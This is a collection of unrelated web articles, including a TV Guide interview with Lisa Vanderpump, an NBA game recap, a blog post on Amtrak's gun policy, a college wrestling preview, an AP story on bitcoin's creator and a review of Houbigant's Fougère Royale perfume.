Vanderpump: This is the first season they've asked me. I just think it's such a fabulous, glamorous show. I'm excited to do it. We'll see how far my dancing will take me. I thought about it for about 30 seconds [after they asked me] and thought, "Oh, that sounds like so much fun. I've got to do it." I think the things that are worth doing are the most difficult. It looks difficult, but however I do, I'm just happy to enjoy this experience.
Dancing's Aly Raisman: People will see a "totally different" side of me
This is also your third reality show.
Vanderpump: Yeah, well, it's not mine. I'm just competing on it. We're not filming Real Housewives at the moment. Vanderpump Rules just finished ... so it's been great. Everybody was really happy with that. Ratings have been great. It was totally different from Real Housewives. It was, again, totally out of my comfort zone. It was much more avant-garde and so much fun. A lot of people think of me as some fluffy housewife, but I work 12 hours a day and that's not featured much on Housewives. There was drama, but it was so much different from Housewives. We showed what it was like running a restaurant.
Did your schedule work out perfectly that you were able to fit Dancing in?
Vanderpump: Yeah. I'm sure Bravo will let me incorporate [Dancing] into next season. They haven't announced the new [Housewives] cast yet, so I have a little bit of downtime now before that starts again. I'm used to talking my way out of trouble; now I have to dance my way out of trouble!
Do you feel pressure to do well, especially with Gleb being a new pro?
Vanderpump: I feel pressure from all directions. If I fail miserably, I'm a great mother, wife and businesswoman and a bad dancer! So what? [Laughs] We'll see. I'll give it my best shot. I have the most talented, gorgeous, kindest dancer on the planet and we're working hard.
Who are you keeping an eye on?
Vanderpump: All of them! Dorothy Hamill is amazing. She's such a lovely woman. That's one of the best parts of this - you meet these amazing people.
Have you heard from your fellow Housewives since you joined?
Vanderpump: Yes. I've heard from Brandi [Glanville]. Kyle [Richards] sent me a text. We filmed the reunion, so we discussed it then. And you can probably guess who's not supportive.
Camille Grammer and Adrienne Maloof not returning to Real Housewives
Will they come to the show?
Vanderpump: I don't know. Ask them!
Even if they don't, Giggy must make an appearance.
Vanderpump: [Laughs] He doesn't have any dancing shoes yet, but I'm sure I'll get him something!
Dancing with the Stars premieres Monday at 8/7c on ABC.
View original Dancing's Lisa Vanderpump: I Have to Dance My Way Out of Trouble! at TVGuide.com
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Other Links From TVGuide.com


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Mavs spoil opener for new-look Lakers
Los Angeles, CA – The Los Angeles Lakers stole all of the offseason headlines with the additions of Dwight Howard and Steve Nash.
It was the Mavericks' offseason acquisitions, though, who helped Dallas steal the season opener.
Darren Collison tallied 17 points, Elton Brand had eight points and 11 rebounds and O.J. Mayo added 12 points in the Dirk Nowitzki-less Mavs' 99-91 win over the new-look Lakers.
"We kept the tempo going, if you execute and have talent, you're going to win," Dallas head coach Rick Carlisle said.
Howard, who was traded for in August as part of a four-team swap, had 19 points and 10 rebounds, but fouled out and was an abysmal 3-of-14 from the foul line in his Lakers debut.
Los Angeles finished 12-of-31 from the charity stripe as a team.
Howard balked last season at almost everything regarding his status with the Orlando Magic, but relented when it came time to go to Los Angeles. The price for Howard was Andrew Bynum, who was sent to the Philadelphia 76ers as part of the blockbuster.
A month prior, Nash was acquired from the Phoenix Suns for first round-picks in 2013 and 2015 and second-round picks in 2013 and 2014.
He finished with seven points and four assists.
"As you know, we have a lot of expectations this season," Kobe Bryant said. "We're trying to live up to the expectations. We're trying to bring another championship back to where it belongs, back to Los Angeles."
Collison was brought in from the Indiana Pacers as part of a July trade to take over the point guard duties from the departed Jason Kidd. The Mavericks submitted the winning bid for Brand, who was let go by the 76ers during the offseason via the one-time amnesty provision, and Mayo signed as a free agent after spending his first four seasons with the Memphis Grizzlies.
All these moves were made during the twilight of Nowitzki's career. The future Hall-of-Famer is 34 and will be out of action for almost the first month of the season following knee surgery.
Another future Hall-of-Famer, Bryant, played after being sidelined during Los Angeles' final two preseason games with a strained right foot. Bryant netted 22 points, while Pau Gasol added 23 points and 13 boards for the Lakers, who went 0-8 during exhibition play.
The Mavs led by just two at the break, 48-46, following Collison's jumper with 1.4 seconds left in the half, but began to pull away during the latter stages of the third.
After Bryant's short jumper pulled the Lakers within 64-61, an 8-1 Mavs swing, capped by a Vince Carter right wing jumper, gave the 2010 NBA Champions a 10- point margin.
Dallas took a 74-66 margin into the fourth and the advantage reached its apex midway through the final frame.
A 14-5 surge gave Dallas an 88-73 cushion, and Brandan Wright's three-point play a bit later made it 93-77 with 5 1/2 minutes to play.
"It was very satisfying to be up by 16 against that team," Brand said. "The coaching staff did a good job of putting a game plan together."
Los Angeles didn't get the margin into single digits until Gasol nailed a 3- pointer with 2.2 remaining, which capped the scoring.
Howard led the Lakers with seven first-quarter points and Los Angeles took a 29-25 edge into the second.
Game Notes
Bryant averaged 27.9 points last year and finished one-tenth of a point behind scoring leader Kevin Durant of the Oklahoma City Thunder ... The Lakers were beaten in five games in the second round of last year's playoffs by the Thunder, the eventual Western Conference champions that swept Dallas in the first round.


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Conservative lawmakers love to bemoan the federal government's stake in Amtrak as the quintessential icon for big-government waste. However, they have no qualms about using this authority over the company to make it adjust its policies to comply with their impractical political whims. Case in point: a recent amendment to the budget bill for the Departments of Transportation and Housing and Urban Development requiring Amtrak revoke its post-9/11, post-Madrid bombing ban on guns in checked luggage. The reasoning? Well, if you can have a gun in your checked airline baggage, why not on Amtrak as well? The New York Times has the obvious answer:
Amtrak has none of the hermetic procedures where airport passengers are screened shoeless at detectors while their checked baggage is separately secured. Trains stop at stations and passengers come and go. Amtrak presently has a system of checking passengers and screening baggage at random, much the way New York police monitor mass transit.
And lessened security isn't the only reason reason train riders should be concerned:
The budget cudgel was approved despite pleas from Amtrak that it lacks the manpower, equipment and extra financing to effectively meet the deadline and that it faces a shutdown if federal funds are lost. Among other changes, baggage cars would have to be securely retrofitted and manpower increased. The warning cut no ice with the majority as the chief sponsor, Senator Roger Wicker, a Republican of Mississippi, intoned a lock-step mantra: "Americans should not have their Second Amendment rights restricted for any reason."
Gotta love those unfunded mandates. TFA will keep an eye on this issue. Hopefully this is the kind of nonsense that gets shaken out during conference committee.
Filed under: Amtrak, Passenger Rail Politics, guns, high speed rail, second amendment


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A number of family cars with small and medium displacement was generally called Ford Taunus. These cars were issued during the period from 1939 to 1942 and from 1948 to 1982 in the Western Germany. The year 1970 was marked by birth of new generation of Ford Taunus which was presented by a variation on the British Ford Cortina from which differed only in design, had less curved waist line. Argentina was the producer of Taunus till 1984 and to the stop of production in the line of models the body "fastback" was used (actually being option on the basis of a 2-door sedan). The Turkish plant Otosan made Taunus till 1994.
On Ford Taunus petrol engines of Kent and Pinto families from 1.3 to 2.3 liters were installed (from 54 to 107 horsepower). The majority of Taunus were equipped with manual transmissions, however on top modification of Ghia also automatic transmission could be established.
By the way, by the name Taunus it is obliged to the well-known height near Cologne where the central office and the largest European plant Ford settles down.
11 Photos of Ford Taunus


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1. Frankenhole:
1. Frankenhole:
On this week's episode, the guys celebrate Andyween, list all the cons that Source Point Press attended over the weekend, and talk about what comics they read. Things get political for a little bit, but the show wraps up with reviewing the Logan trailer.
The Swan Song continues as we reach the halfway point of our grand finale. VF & Nickel spend an awful lot of time talking about nothing (including fellow podcaster Jason Brigger's castration, some wedding planning updates and VF's cathouse).
After an hour of literally talking about nothing, comic news is extremely x-men heavy, with Death of X discussion, a look towards future releases, X-Men vs. Inhumans, & ResurrXion. The guys discuss their hopes and dreams for the X-men franchise, and the million x-books being slowly announced as part of the ResurrXion event. As promised, we also touch on the triumphant return of the Great Lakes Avengers.
After hours of unstructured discussion, the "Rapid-Fire Review" segment of the podcast covers new books from September 28, October 5, October 12, and October 19, 2016. A few of the books covered include Deadly Class 22, Captain America Steve Rogers 5, Captain America Sam Wilson #13, Lazarus #25, Jupiter's Legacy Volume 2 #4 of 5, Great Lakes Avengers #1, Mosaic #1, and Infamous Ironman #1.
Thanks for continuing to let us into your ears a few times a month.
1. Viceland
Ep44 – Stef and Henno are back at it in the usual. They catch up on #Podtoberfest, wrangling podcasters and then review #Gotham S3E5, Anything For You.
Special thanks to Doug LeMesurier for the Gotham Lights logo @jlemesur
Gotham Lights is part of the Danger Entertainment Network and the Wicked Radio Network.
twitter: @gothamlights @idahenno @badwolfbay87
Tony and Bryan are joined by their pal, Eric Palicki Eric has been writing comics for a while now, and they talk about knowing each other for a while, writing comics, working with his sister, pay vs. experience, eggplant, finding artists, Marvel of DC, and more! We hope you enjoy it!
This week we take a deep look at the creepy clown sightings sweeping the world, examine why clowns are scary and ask if it's just copy cat clowns scaring kids, or possibly the Phantom Clown Phenomenon.
If you enjoy it please subscribe, review and share!
Subscribe & REVIEW us on itunes and/or Stitcher!
Follow us on Twitter: @WTWN_podcast @Michael_Leal
FaceBook: Michael's page. WTWN Official page
The Website: www.dangerentertainment.net


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OSHKOSH — On opening day of AirVenture in Oshkosh, Sennheiser introduced the S1 Passive headset for general aviation pilots.
Company officials said the headset was designed for pilots who want noise attenuation but do not want to use an active headset. It is also a good choice for flight students, company officials said.
"As a reliable and comfortable companion even on the longest flights, the S1 Passive ensures safe and clear speech transmission between the cockpit and the tower, and at the same time has an extremely attractive price/ performance ratio," explained Jörg Buchberger, Aviation Business Segment Manager. "It can also be perfectly adapted to the user. As a special extra, we have equipped the passive headset with our ActiveGard feature, which protects the pilot's hearing against extreme volume peaks that can occur during radio communication." If a signal above a level of 110 dB is received, ActiveGard compresses the sound, and everything remains clearly intelligible at a healthy volume.
The S1 Passive can be connected not only to audio devices but also to mobile phones. As soon as the tower contacts the pilot, a headset automatically mutes the music or the phone call.
Sennheiser offers a five-year guarantee for the S1 Passive, which is made in Germany. The headset is available now.
For more information: SennheiserAviation.com


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Mac Gems articles are almost exclusively reviews, but I'm going to make an exception today, because I came across a great Mac Gems deal: Until the end of the day today (May 31, 2011), Apparent Software has teamed up with several other software developers to offer the Productive Macs bundle, a collection of eight software titles. If you bought these eight applications separately, they'd cost $221, but until the sale ends later today, the bundle price is only $30.
Why am I using my Mac Gems column to tell you about this deal when software-bundle sales seem to be a weekly occurrence in the Mac world? Because seven of the eight programs in this particular bundle are Mac Gems—and the other is in my queue for Gems consideration. As far as I know, that makes the Productive Macs bundle the Gem-iest bundle ever. And its $30 price is less than the regular price for many of the individual titles included in the bundle.
Here's what you get:
TextExpander (normally $35; Mac Gems review): One of my all-time favorite Gems, TextExpander lets you assign abbreviations to frequently used text (snippets), automatically substituting the appropriate snippet when you type an abbreviation, saving you lots of time and typing. You can even place snippets into groups that are available on a per-application basis; include keystrokes within snippets; and include variables, such as the current date and time or the contents of the clipboard, within snippets. I also love that you can sync your snippets between Macs using Dropbox or MobileMe, and there's even an iOS version that syncs with your Mac.
Path Finder (normally $40; Mac Gems review): A Finder replacement for power users, Path Finder gives you pretty much every feature of the Finder, but adds dual-pane file browsers; tabbed windows and tab sets; folder and file bookmarks; temporary "drop" stacks; many more sorting, filtering, and viewing options; more contextual-menu features; more-detailed information views; and even a built-in shell (Terminal) prompt. It's admittedly overkill for most people, but for those who've found the Finder lacking, Path Finder is a feature-packed alternative.
Socialite (normally $20; Mac Gems review): Socialite provides one-stop access to Facebook, Twitter, Google Reader/RSS, Flickr, and Digg—you can even configure multiple accounts for each service. With an interface that looks much like an e-mail client, Socialite lets you view all activity across all services in a single list, or you can focus on the "mailbox" for any particular service.
HoudahSpot (normally $30; Mac Gems review): If you like the power of OS X's Spotlight search technology, but not its too-limited interface and features, HoudahSpot can help. This utility lets you search multiple locations, exclude specific locations, sort your search results by more criteria, create search templates, assign searchable tags to files, and even find files based on an "example" file.
Today (normally $25; Mac Gems review): A longtime Gems favorite, Today displays your upcoming iCal events and tasks in a convenient, floating window. It also lets you create new iCal events and tasks without having to open iCal or Mail—and you can perform these tasks using only the keyboard.
Keyboard Maestro (normally $36; Mac Gems review): This standout macro utility lets you automate frequently performed tasks. For each macro, you choose the trigger (the condition—such as a key press, timed event, or script—that initiates the macro), the actions that make up the macro, and whether or not the macro is systemwide or application-specific. Keyboard Maestro is also handy for assigning keyboard shortcuts to simple actions that OS X's built-in keyboard-shortcut feature can't handle.
Mail Act-On (normally $25; Mac Gems review): This incredibly useful plug-in for Mail lets you invoke rules using the keyboard—if you can perform an action using Mail's rules, Mail Act-On lets you do it with a keyboard shortcut. You can also use Mail Act-On to quickly file messages into mailboxes, and it also adds Outbox rules to Mail. (Mail Act-On is one of our recommended add-ons for OS X Mail.)
Blast (normally $10): The one bundle title that hasn't yet earned the Mac Gem badge, Blast is nevertheless a nifty app. It lives in your menu bar and shows you a list of recent files and applications. But unlike OS X's recent-items menus, Blast lets you sort and filter its list; displays previews of files; provides a "sticky" shelf for frequently accessed items; can be accessed and navigated entirely from the keyboard; and includes recently modified files, such as browser downloads, for easier retrieval.
These are all great programs, and many of them have gained significant features since we reviewed them. If even two are apps you've considered buying, the bundle is a good deal; if you end up using several of the included programs, it's a steal. But today's the last day, so get it before June rolls in.
(Neither I nor Macworld gets any referral fees or other benefits from recommending the Productive Macs bundle. It's just a great deal for a bunch of Gems.)
Want to stay up to date with the latest Gems? Sign up for the Mac Gems newsletter for a weekly e-mail summary of Gems reviews sent directly to your Inbox. You can also follow Mac Gems on Twitter.
Path Finder 5.0.2
Read our full Path Finder 5.0.2 review
Today 1.1
Read our full Today 1.1 review
Keyboard Maestro
Read our full Keyboard Maestro review
Mail Act-On 2.0.1
Read our full Mail Act-On 2.0.1 review


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MC: When Oh auditioned, what about her was perfect for Cristina?
RHIMES: She brought this energy that felt very fresh. From the beginning, I've been shaping Cristina around Sandra a little bit. One of my favorite things to do is take as much of her dialogue out of a scene as possible because she does so much nonverbally. Then I just watch what she manages to do without having a word to say.
MC: Cristina has such a hard edge. Whom did you model her traits on?
RHIMES: Cristina, Izzy, Meredith, and Miranda are all a little bit of my personality. You know Cristina's inability to filter herself? I struggle with that. But she's also a lot of women I know. She's unapologetically competitive, and there's something interesting about that kind of woman.
MC: The characters' physical beauty is secondary to their intelligence and wit. That's not something you often see on TV.
RHIMES:I think a lot of times women are portrayed as men would like them to be, as opposed to how they are. Every once in a while there's a chance to take the girl next door and make her more three dimensional.
MC: During auditions you had no preconceived ideas about how the characters should look, right?
RHIMES: Yeah, I didn't write any physical traits into the pilot, and I didn't ask for anything in particular. It wasn't about "we need a blonde." It was about finding the best actor for the part. It never occurred to me to do it another way.
MC: Even though there are a few interracial relationships, race is never discussed on the show. Is that a conscious decision?
RHIMES: I think that issues of race are a larger conversation that people project on a relationship, but for the two people in it, that's not the primary thing on their minds. I also wanted to do something that felt modern in terms of the casting. Part of a truly diverse world is not needing to make a statement about the fact that it's a diverse world. When we get to that point, we've gotten somewhere.
Matty Healy Addressed His Podcast Controversy: "It Doesn't Actually Matter"
By Iris Goldsztajn
Jennifer Garner Took Hers and Jennifer Lopez' Kids to Disneyland for a Sweet Day Out
By Iris Goldsztajn
Kim Kardashian Gives Her Kids This Sweet Token of Love Every Year on Their Birthday—And It Doesn't Cost a Thing
So touching.
By Iris Goldsztajn


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I didn't think to look at the odometer of my rental car when I started on my east coast book tour a couple weeks ago, so I don't know how many miles I travelled. A lot. I drove from Chicago to Pittsburgh, then from Pittsburgh to Brooklyn, then out to Huntington, Long Island, back to Brooklyn, up to Boston, then to northwestern Vermont, then central Vermont, then southern Vermont, central Vermont again, and then back to Chicago. My wife met me in Boston, so we shared the driving from that point on, and she was at the wheel of our regular car as we drove home from dropping off the rental car. We were both exhausted. A sedan spun out in front of us, the byproduct of a near-collision with a minivan. The sedan swerved onto a spit of land separating the highway from an off-ramp, a cyclone of dust kicking up. The car then swerved back into traffic, coming right at us.
A kind of complacency sets in while you travel all your miles. The monotony, hypnotic, lures you into believing that you'll always be traveling this road. On the trip east, desperate to break up the boredom, I had listened to a speech on a religious radio station from ex-major leaguer Frank Pastore, who related how an injury to his pitching arm had led him to a religious conversion. Somehow this conversion ended up involving inflammatory anti-Semitic asides (during his speech he made sure to implicate "a Jewish tribunal" in the death of the central figure in his religion, exactly the kind of vitriol that catalyzed deadly pogroms for centuries leading up to the Holocaust). But I understand the need to search for some solid ground when the ground you thought was solid disintegrates. Later on in my long drive, I saw a bumper sticker that said, "You will meet God." We all will live to see moments when the monotonous, comforting pattern of life suddenly gives way to a terrifying chaos. The defining quality of this chaos is that it will seem to have always been there, below the flimsy veil of everyday life.
The out-of-control car on the expressway came within a few feet of spearing us in the passenger side, where I was sitting. Somehow, it didn't hit any cars at all, and as we drove on toward home the only aftermath was the sound of other cars honking to protest the disruption in the illusion that we will all go on forever. After a while, I told my wife I felt like Samuel Jackson's character in Pulp Fiction after he'd lived through a hail of bullets. It was actually the crystallization of a grateful feeling that had been building throughout the trip. I'll try to write some more about the trip throughout this week, but even before the near accident at the end, I had already begun to get the feeling, repeatedly, that my life was passing before my eyes. People from all parts of my past reappeared in front of me wherever I went: friends from my twenties and early thirties, friends from college, friends from high school, friends from junior high, even one of my elementary school teachers. Even a couple of real-life Cardboard Gods. The fast pace of the tour blurred this procession into one long joyful and also faintly melancholy farewell parade, like you see in movies when someone is breathing last breaths and seeing everything ever seen and loved one more time before going. This life is a short, sweet blessing. Things will change.
Doyle Alexander surely began learning this lesson around the time of this singularly odd 1977 card, the only card I can remember seeing in which an attempt was made to doctor the cap and uniform of a player in the midst of an action shot of sorts. In all other cases that I know of, the practice of altering the cap and uniform to place a player on a team he'd moved to in the offseason was restricted to posed shots, which were certainly easier to manipulate into a new version of reality without creating as much of a profound sense of a figure being divorced from his environment as is shown here on Alexander's card. I guess it's the smudgy altered cap against the Rembrandtian darkness in the background at the top of the picture that goes the farthest in making Alexander into a flimsy provisional interloper in this mortal coil. Before the previous year, Alexander had played for several years with one team, the Orioles, but from that point on he became noted for being a well-traveled guy, often going (at least in my memory) from one team to the next during pennant pushes, his veteran steadiness called on to shore up fraying starting rotations. He became a traveler. It started around the time of this card, in which he seems easily removable, as if you could flick him loose from the picture with one fingernail, and then he'd flutter to the ground like a feather, still locked in his ambiguous open-mouthed pose.


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Good Burger, Great Butt: Texas Restaurant Gives Discounts for Being Hot
Lots of restaurants have a schtick: Dick's Last Resort in Las Vegas makes their patrons don huge paper hats with insults written on them, while Modern Toilet in Taiwan offers diners the chance to eat while sitting on a toilet bowl.
Twisted Root Burger Company in Texas takes the cake for the most complimentary schtick, though, with their assortment of discounts for positive physical attributes, including: two cents off for best butt and best looking customer in the restaurant.
The complimented patron (who received multiple discounts, by the way, so we are assuming she was a babe) was reportedly flattered. We can't help but wonder if there are discounts that people would be less keen on receiving like getting $.50 off for being cross-eyed or free meals for balding gingers.


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Liberty Wrestling Set to Host NCAA East Regional Field
The Flames welcome the four other East Region teams to the Vines Center for the NCAA East Regional Championship this Sunday, when Liberty goes for its fifth-consecutive team title at the event.
The teams making the trek to Lynchburg for the NCAA-qualifying event include Campbell, Gardner-Webb, Millersville and Sacred Heart, all of which are hoping it's their turn to capture the team championship.
In Liberty's four years competing for the East Regional title since its reinstatement for the 2006-07 season, the Flames have stood above the competition, taking home the team title every year while sending 20 grapplers on to the national event.
Putting that number in perspective, 10 bids to the NCAA Championship are available each year for wrestlers at the East Regional Championship. By taking 20 individual titles, the Flames have taken half of the East Region's allocations, with the other half being spread around to their respective opponents through the years. Millersville has taken the second most of teams still competing in the region, winning eight individual titles in the last four years.
On the team side, the Flames' numbers are just as dominating. The last three years, Liberty has eclipsed the 100-point mark at the event, winning by an average of nearly 38 points each year. The closest a competitor has come to the Flames was in 2007, when Gardner Webb finished 17.5 points behind Liberty.
The Fighting Camels ended their season dropping a 38-4 match to UNC Greensboro, completing their regular-season with a 4-18 dual meet record. In comparison, the Flames defeated UNC Greensboro, 24-16, as part of their eight-match win streak.
Liberty and Campbell faced off earlier this season. Campbell came to the Flames' Schilling Center on Dec. 11, with Liberty taking the dual meet, 38-3. Sophomore John Merickel claimed the visitor's sole win, earning a 4-1 decision over Liberty's Marcus Nielson at 184 pounds. Merickel finished the year with 10 wins, ranking second on the team in that category.
Parker Burns leads the Fighting Camels 2010-11 campaign, taking 15 wins on the year at heavyweight. Four of those victories came by fall, another stat which the senior lead his team in. Burns has been a national qualifier, but at the 197-pound weight class, which he claimed at the 2009 regional championship.
Tanner Bidelspach will look for his 10th win on the year this weekend, as the redshirt freshman holds a 9-17 mark this season at 125 pounds.
Campbell is in its third year competing in the NCAA East Regional Championship. Last year the Fighting Camels accumulated 44 team points for a fourth-place finish, led by Burns' title at 197 pounds. In 2009's tournament, the Camels posted 45 team points for a fifth-place finish, led by runner-up finishes by Burns at 197 pounds and former heavyweight, Khiry Reid.
The Runnin' Bulldogs also capped their season off with a loss to UNC Greensboro, with the Spartans winning by a 37-6 margin. Gardner-Webb finished its season with a 6-15-1 mark in dual meets.
The Flames and Runnin' Bulldogs faced off once this year at the East Regional Duals, hosted by Millersville. While Gardner-Webb held an 11-10 advantage through six bouts, the Flames won three of the final four weight-class match ups to go on to win, 24-14.
Richie Spicel (141), Ryan Medved (149) and Alex Medved (157) helped give Gardner-Webb its lead early in the match against the Flames. Victories from these grapplers weren't uncommon this year, with each ranking in the top four in wins for the Runnin' Bulldogs.
Alex Medved led the squad with a career-high 26 wins, besting his freshman campaign of 22 victories. Spicel posted 21 wins this year, while teammate Travis Porter (197) eclipsed the 20-win mark as well, coming out on top in 22 bouts. Ryan Medved rounded out the Runnin' Bulldogs' win leaders with 18. Each of these four grapplers for Gardner-Webb are redshirt sophomores.
Gardner-Webb has been the biggest competitor to the Flames in the NCAA East Regional Championship, finishing second to Liberty three of the last four years. The squad's lowest finish in that span was a third-place finish, which came in 2009 when they hosted the regional tournament.
Despite having no grapplers on the current roster that hold an individual title at the event, the quartet of redshirt sophomores looks to change that after posting solid records in the regular season. Last season, all four of the underclassmen took home third-place honors at the event.
Millersville's season came to an end with a 22-13 loss to Franklin & Marshall in its own Pucillo Gymnasium. The Marauders wrapped up their regular season with a 2-10 record for the year. Two of their wins came against East Region competitors, defeating Sacred Heart (24-23) and Campbell (26-21).
In the Flames meet with the Marauders at the East Regional Duals, Liberty rolled easily after starting the match with six-straight wins to grab a 28-0 lead. The Marauders won their sole match of the day at 174 pounds, with Shane Smith winning by fall. Liberty ended the match with three more wins for the final score of 40-6. The Flames' Chad Porter reached his milestone 100th victory during the match, defeating Brandon Vernalli on a technical fall, 15-0 (7:00).
Five Marauders picked up double-digit wins this season, led overall by Smith at 174 pounds. The junior won 26 bouts this season, including 18 wins by fall. Three more of Smith's wins came by major decision.
Vernalli ranked second on the team in wins, earning 13 wins on the year at 165 pounds.
Mike Greck (141), Dakota Kuhn (157) and Bradley Ladd (HWT) round out Millersville's double-digit winners this season, picking up 11, 10 and 10 wins, respectively.
After tying for third in 2007 and a fourth-place finish in 2008, Millersville crowned three individual champions in 2009 to finish as runners-up with 65 points in Boiling Springs, N.C. Last year the Marauders had two grapplers finish with titles, to earn a third-place finish at the event. Smith enters the event this season looking for his third-straight NCAA Regional crown.
Sacred Heart
Sacred Heart will be participating in its first NCAA East Region tournament after competing in the Colonial Athletic Conference (CAA) in past years. The Pioneers finished 2011 with a 1-17 mark, picking up their win against American International, 39-6.
One can't be fooled by the Pioneers record, however, as they have two competitors who have had impressive seasons. Anthony Priore led the squad at 157 pounds, notching 14 wins on the year. Jon Rizzitello trailed his teammate by just one win, finishing the season with 13 victories at 165 pounds.
When the Flames and Pioneers met at the East Regional Duals, Priore and Rizzitello both came out on top in their matches, but the Flames defeated the Pioneers, 36-13. However, Head Coach Jesse Castro didn't field his typical lineup against Sacred Heart.
Priore comes into his first East Regional tournament after placing fourth in last year's CAA tournament. Paul Schweighardt (HWT) also placed fourth for the Pioneers in last year's CAA tournament. Schweighardt finished this season with eight wins.
A wrestler on Sacred Heart's team that is familiar with the East Regional Championship is former Duquesne grappler, Billy Chamberlain. Duquesne competed in the East Regional Championships prior to cutting its team after last season. Chamberlain captured the 125-pound title in 2009, defeating a Millersville grappler.
With the 2011 NCAA East Regional tournament being on Sunday, be sure to look for LibertyFlames.com's final two days of wrestling-feature articles. Tomorrow, Coach Castro will preview the event in his latest Coach's Corner, while Saturday will take a look at the Flames' weight class line up for the 2011 event.


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Business update: Bitcoin mystery continues to deepen
The Associated Press
LOS ANGELES — Who is bitcoin's real creator? The bitcoin community is reacting to that burning question with a collective ho-hum.
Developers and bitcoin enthusiasts from Finland to Texas are downplaying the media frenzy that occurred Thursday after Newsweek identified the digital currency's creator as a Japanese American living in Southern California, only to have the man vehemently deny it to The Associated Press.
The written computer code that underpins bitcoin has changed dramatically since its inception in 2009, spawning a generation of entrepreneurs seeking to ride its growing popularity to newfound wealth.
And while most bitcoin users and investors maintain a healthy interest in learning the true identity of the person behind the cryptocurrency, they say the financial platform's maintenance and growth depends on the many creators who are working on it now.
"From an engineering perspective, Satoshi gave up control on Jan. 5, 2009 when he birthed the first bitcoin transaction," says Jeff Garzik, a member of the seven member Bitcoin Core Development Team that controls what happens to the currency's central code today. "He created an organism and he gave it life and he released it into the wild for it to do as it does."
Garzik doesn't believe Dorian Prentice Satoshi Nakamoto —the man who denied the Newsweek story— is the same "Satoshi Nakamoto" who posted the original written bitcoin proposal in 2008 and followed it up with code the following year.
Gregory Maxwell, another bitcoin core developer based in Mountain View, Calif., said he has "immense respect" for the bitcoin creator, but doesn't care who it is, or what the person's motivation was.
The genius of bitcoin is it doesn't require trusting anyone at all.
"If the creator of bitcoin mattered to our ability to use it, then bitcoin has failed in its technological goals," he said.
Some bitcoin supporters are upset by the quest to identify the currency's creator because they say the sleuthing and stalking represents a blatant invasion into the privacy of a person or group that clearly wants to remain anonymous.
"Whoever created bitcoin sent it out into the wild and dropped off the face of the earth," says Will Yager, 18, a bitcoin developer who attends the University of Texas in Austin. "They always intended bitcoin to be something that transcended them. Bitcoin's function as a system does not depend on its creator's function as a person."
Another bit bitcoin developer, Thomas Grainger of London, says he is curious about who really created the currency, although he concedes that knowledge won't affect how the system works. "It won't help remove some of the mythology, though," Grainger, 23, says.
The publicity surrounding whether the Nakamoto living in southern California created the currency also is likely to help raise awareness about bitcoin and prod more people to take the time to learn how the it works, Grainger believes. "It's nice that a mathematical curiosity makes international news," he says.
Other business headlines
Stocks go nowhere: What you need to know
The Silicon Valley 100: The coolest people in tech right now


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– a review of Houbigant Paris Fougère Royale (2010)
Imagine you consider yourself a Parisian gentleman of some class and discernment. You know your forks, your knives, your ps and your qs. You are fortunate enough to be a gentleman of thought or at least a certain degree of leisure to indulge whatever impulses you might have. And although clean linen of course has never gone out of fashion for the discerning, particular gentleman of a certain class, perfume has somehow in this age of steam and noise become a decided afterthought. Pleasant enough in warm weather to cool with some eau de cologne or such, yet their thrill is too brief and linear, never complex enough to engage all your senses in one sudden, sharp and unexpectedly deep inhalation.
In this day and age (1884), it would appear that all things manmade assault the senses even as they exhilarate the minds; the possibilities in science, in the arts, in the electric and increasingly electrified currents of change in the very air, in the hiss and roil of billowing steam engines.
And then, the perfumer of Houbigant Paris, a gentleman named Paul Parquet, has an idea inspired by the great strides happening in chemistry, when he encounters a new synthetic material named coumarin. Be gone, ye soliflores and linear démodé colognes, adieu simplicity – and bonjour to a brand-new era in olfactory epiphanies: the abstract perfume.
From this day forward, perfumes can – and emphatically will! – tell stories, evoke moods and fire imaginations in ways both great and small, and nothing much at all in perfumery will ever quite be the same again.
Parquet called his new creation 'Fougère Royale" – "Royal Fern", and stated with all the hubris of someone who knows his own master stroke:
"If ferns had a smell, they would smell like Fougère Royale!"
Or as another highly discerning Parisian gentleman, a devoted fan himself – eloquently put it:
"It is a prodigious evocation of a forest's scent, or maybe the moorlands, not at all a floral expression, but a portrait of its greenery."
Say whatever you like about Guy de Maupassant (one of my favorite writers), but he knew a grand thing when he sniffed it!
Fougère Royale went on to have such a massive influence on perfumery in general and perhaps masculine perfumes in particular, that by the time Houbigant was relaunched as a luxury perfume brand and decided to reinvent their flagship perfume in collaboration with perfumer Rodrigo Flores-Roux, fougères had become so ubiquitous, they were their own worst olfactory cliché.
Whether shaving cream or eau de toilette, most men – in the Eighties in particular, judging by my own haunted twenty-something memories of Guy Laroche's Drakkar Noir or Yves Saint Laurent's Kouros to name only two, just about every man I've ever dated, married or lived with since my teens has a Really Big Thing for 'manly' fougères. Never 'manlier' in my opinion than Kouros, a perfume that makes me shudder to this day due to a former colleague's habit of ODing his surroundings by wearing every single permutation of it at once. We used to joke M. Saint Laurent could smell him in Marrakesh, which is a l-o-n-g way away from Copenhagen.
No one alive has had the opportunity to sniff the original 1884 version with its overdose of coumarin. A select and lucky few have had the opportunity to sniff the Osmothèque's recreation of it (M. Flores-Roux among them), but apart from those who own the rare 1950s version, this is what we have.
Before I say anything else, let me be as clear as possible. I'm only too aware that this version of Fougère Royale is nothing like the original, nor even its 1950s incarnation, but an altogether singular reinvented perfume. As M. Flores-Roux stated in this interview, it was, in architectural parlance, restored with respect.
Manly – schmanly! Masculine or not, I had to try it. The first perfume I ever chose for myself was Jicky extrait, itself massively inspired by Parquet's original. I'm also a green fiend. So when I first encountered the new Fougère Royale at Pitti Fragranze in 2013, I nearly swooned where I stood.
Somewhere between that first hyper-green, citrus herbal blast, that winning combination of lavender, carnation, rose, geranium and cinnamon and the long, luscious amber-y drydown was, I'm sure of it, a love affair waiting to happen. For everything I sniffed at Pitti, Fougère Royale stuck in my mind and refused to budge.
Two years later on a Facebook perfume group, a friend had half a bottle of this gem for sale at a price even an impecunious perfume writer could afford. Before I could sneeze, I bought it. To wear, of course! Or so I thought …
Enter the Dude. True to form and my own shady past, he's a fougère fiend. And although Jean-Paul Gaultier's Le Male is an excellent fougère (as well it should be, being created by the astonishing Francis Kurkdjian), he wasted no time at all ditching it like so many old and overheated loves as soon as he encountered Fougère Royale. Less than a month into our relationship, he appropriated my precious bottle with the words "This is mine now!", and wore it on an almost daily basis from then on, only alternating with another fougère, Amouage's Memoir Man. Colleagues and schoolgirls complimented him everywhere, superiors sat up and took notice, and even his own family remarked that he suddenly smelled miles better than usual. (The perils of dating a perfume writer!) There, he happily remained until that sad and sorry day the bottle was as empty as a daydream.
